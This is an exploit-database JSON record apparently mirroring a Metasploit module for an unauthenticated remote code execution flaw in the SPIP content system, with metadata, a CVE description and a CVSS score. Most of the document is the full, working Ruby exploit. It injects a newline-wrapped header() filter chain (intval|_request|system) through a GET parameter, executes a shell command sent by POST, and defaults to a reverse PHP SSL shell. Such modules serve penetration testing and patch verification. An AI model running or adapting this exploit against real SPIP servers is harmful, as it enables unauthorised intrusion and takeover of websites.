{"exploit":{"id":"MSF-multi--http--spip_x_spip_filtre_rce","name":"SPIP X-Spip-Filtre Unauthenticated RCE","description":"This module exploits a PHP function-call injection in SPIP's template engine. The analyse_resultat_skel() function extracts <?php header(\"X-Spip-Filtre: ...\"); ?> patterns from the rendered page body and calls the listed functions as template filters. A newline character is injected into a GET parameter value, which places a header() call on its own line inside the compiled PHP template. The filter chain intval|_request|system reads a shell command from a POST parameter and executes it.","cves":["CVE-2026-77647"],"author":"Julien Voisin","published":"2026-08-20","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/spip_x_spip_filtre_rce.rb","path":"modules/exploits/multi/http/spip_x_spip_filtre_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"spip_x_spip_filtre_rce.rb","vulnerabilities":[{"id":"CVE-2026-77647","state":"PUBLISHED","title":null,"titleSource":null,"description":"SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploited in the wild in August 2026. This is related to incorrect identification of <?php blocks, and var_export's mishandling of certain cases such as presence of a '<' character.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-77647","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-77647"},"updatedAt":"2026-08-21T20:08:38.061Z","retrievedAt":"2026-11-25T16:13:47.119Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--spip_x_spip_filtre_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--spip_x_spip_filtre_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--spip_x_spip_filtre_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--spip_x_spip_filtre_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::HTTP::Spip\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SPIP X-Spip-Filtre Unauthenticated RCE',\n        'Description' => %q{\n          This module exploits a PHP function-call injection in SPIP's\n          template engine. The analyse_resultat_skel() function extracts\n          <?php header(\"X-Spip-Filtre: ...\"); ?> patterns from the rendered\n          page body and calls the listed functions as template filters.\n\n          A newline character is injected into a GET parameter value, which\n          places a header() call on its own line inside the compiled PHP\n          template. The filter chain intval|_request|system reads a shell\n          command from a POST parameter and executes it.\n        },\n        'Author' => [\n          'Julien Voisin' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html'],\n          ['CVE', '2026-77647']\n        ],\n        'Targets' => [\n          [\n            'Automatic',\n            {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ]\n        ],\n        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },\n        'DefaultTarget' => 0,\n        'Privileged' => false,\n        'DisclosureDate' => '2026-08-20',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n  end\n\n  def check\n    rversion = spip_version || spip_plugin_version('spip')\n    return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion\n\n    print_status(\"SPIP Version detected: #{rversion}\")\n\n    injection = \"\\nheader(\\\"X-Spip-Filtre: intval|phpinfo\\\");\\n\"\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'spip.php'),\n      'vars_get' => { Rex::Text.rand_text_alpha(6) => injection }\n    )\n    return CheckCode::Unknown('Target did not respond') unless res\n\n    phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()']\n    matches = phpinfo_markers.count { |m| res.body&.include?(m) }\n\n    unless matches >= 2\n      return CheckCode::Safe('Filter execution was not observed')\n    end\n\n    if res.body =~ /disable_functions.*?<td[^>]*>([^<]+)/mi\n      disabled = ::Regexp.last_match(1).strip\n      print_warning(\"disable_functions: #{disabled}\") unless disabled.empty?\n    end\n\n    CheckCode::Vulnerable('X-Spip-Filtre invoked phpinfo() on the rendered page')\n  end\n\n  def exploit\n    injection = \"\\nheader(\\\"X-Spip-Filtre:intval|_request|system\\\");\\n\"\n\n    print_status('Sending exploit via newline injection (intval|_request|system)...')\n    send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'spip.php'),\n        'vars_get' => { Rex::Text.rand_text_alpha(4) => injection },\n        'vars_post' => { '0' => payload.encoded }\n      }\n    )\n  end\nend\n","sha256":"44d2a0926f5b12811c2ce23b6b66095a16db16f463892abb4492fc5e0aedc078","bytes":3436,"fetchedAt":"2026-11-25T16:31:00.561Z","encoding":"utf-8 (display only; download retains original bytes)"}